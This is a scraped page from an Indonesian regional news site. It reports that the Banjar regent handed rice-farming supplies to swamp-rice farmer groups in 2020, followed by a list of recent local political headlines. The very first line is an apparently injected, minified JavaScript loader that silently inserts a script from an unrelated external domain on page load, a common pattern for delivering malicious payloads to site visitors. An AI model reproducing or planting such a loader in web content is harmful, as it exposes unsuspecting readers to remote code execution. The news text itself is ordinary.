(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: Kabupaten Banjar

Bupati Serahkan Bantuan Sarana Produksi Budidaya Padi Rawa


KANALKALIMANTAN.COM, MARTAPURA – Bupati Banjar H Khalilurrahman menyalurkan bantuan sarana produksi kegiatan pengembangan budidaya padi rawa (Saprodi) tahun 2020, Jumat (12/6/2020).

Bantuan disalurkan untuk kelompok tani dari 7 kecamatan yang ada di Kabupaten Banjar diantaranya Kelompok Tani Subur Makmur dari Kecamatan Martapura Kota, Kelompok Tani Karya Tani dari Kecamatan Sungai Tabuk.

Bupati Banjar berharap bantuan sarana produksi dari pemerintah tersebut agar tidak disia-siakan dan dapat dimanfaatkan dengan sebaik-baiknya oleh petani sehingga produksi dan produktifitas padi dapat ditingkatkan.

“Semoga dengan adanya bantuan sarana produksi ini dapat memacu semangat, dan memotivasi petani untuk melaksanakan intensifikasi dan meningkatkan indeks pertanaman dengan bertanam padi dua kali dalam setahun,” ucapnya.

Guru Khalil sapaan akrab Bupati Banjar mengingatkan sebagian besar pertanaman sedang memasuki masa pertumbuhan vegetatif. Oleh karena itu, Bupati Banjar yang dulu juga pernah bertani menyampaikan kepada para petani dan Penyuluh Pertanian Lapangan agar mewaspadai adanya serangan Organisme Pengganggu Tanaman (OPT).

“Seperti serangan hama tikus, wereng hijau yang menyebabkan penyakit tungro, penyakit bias dan lain sebagainya, dengan melakukan pengamatan dini sehingga apabila terjadi serangan bisa segera dikendalikan,” jelasnya.

Ia juga menyampaikan apresiasi pekerja pejuang sektor pertanian untuk memenuhi kebutuhan pangan bagi masyarakat dan menjaga produktivitas, meski di tengan pandemi covid-19.

“Saya menitip pesan agar tetap menerapkan protokol kesehatan covid-19 dalam melaksanakan usahatani, seperti memakai masker, menjaga jarak, dan rajin mencuci tangan serta menjaga kebersihan agar tetap sehat, sehingga bisa terus melaksanakan aktivitas usahatani,” ungkap Bupati Banjar.

Sementara itu, Kepala Dinas Tanaman Pangan dan Hortikultura Kabupaten Banjar HM Fachry menjelaskan tujuan dari kegiatan pengembangan budidaya padi rawa adalah untuk peningkatan produktivitas dan indeks pertanaman padi.

Bantuan sarana produksi yang diberikan kepada petani pelaksana kegiatan berupa Benih unggul sebanyak 50 kg/ha, dolomit 100 kg/ha, pupuk NPK 50 kg/ha, pupuk hayati (cair 3 liter/ha atau pupuk hayati padat 15 kg/ha) dan herbisida 3 liter/ha pada tahun 2020. (kanalkalimantan.com/bie/adv)

Reporter : bie
Editor : kk

 


Al Ghifari

Recent Posts

Nurkhalis Anshari Menuju Pilwali Banjarbaru ‘Bergantung’ Poros Pilgub Kalsel

KANALKALIMANTAN.COM, BANJARBARU – Proses lobi politik terus dilakukan kader Partai Keadilan Sejahtera (PKS) Nurkhalis Anshari… Read More

10 jam ago

8 Nama Masuk Penjaringan DPC PKB Banjarbaru, Ada Ayah dan Anak dari Golkar

KANALKALIMANTAN.COM, BANJARBARU – Partai Kebangkitan Bangsa (PKB) pemilik 3 kursi di DPRD Kota Banjarbaru 2024-2029… Read More

11 jam ago

Jembatan Simpang 3 Lingkar Utara Banjarbaru Ditutup Sampai Akhir Tahun, Begini Pengalihan Lalin ke Bandara Syamsudin Noor

KANALKALIMANTAN.COM, BANJARBARU - Pengendara yang biasa melewati akses jembatan simpang tiga jalan Lingkar Utara, Kota… Read More

14 jam ago

Pilgub Kalsel 2024 Dipastikan Tanpa Pasangan Non Partai

Pendaftar Jalur Independen Pilkada di Kalsel Hanya 4 Daerah Read More

16 jam ago

Upah Dipotong untuk Tapera, Cuit Soleh Solihun Bikin Pekerja Ketar-ketir

KANALKALIMANTAN.COM, JAKARTA - Publik di platform sosial media tengah ramai membahas perihal pemotongan upah pekerja… Read More

16 jam ago

Kenaikan UKT Ditunda Mahasiswa Jangan Senang Dulu, Menunda Belum Membatalkan!

KANALKALIMANTAN.COM, JAKARTA - Politikus PDI Perjuangan Adian Napitupulu menyebut mahasiswa telah berhasil membuat semua orang… Read More

16 jam ago

This website uses cookies.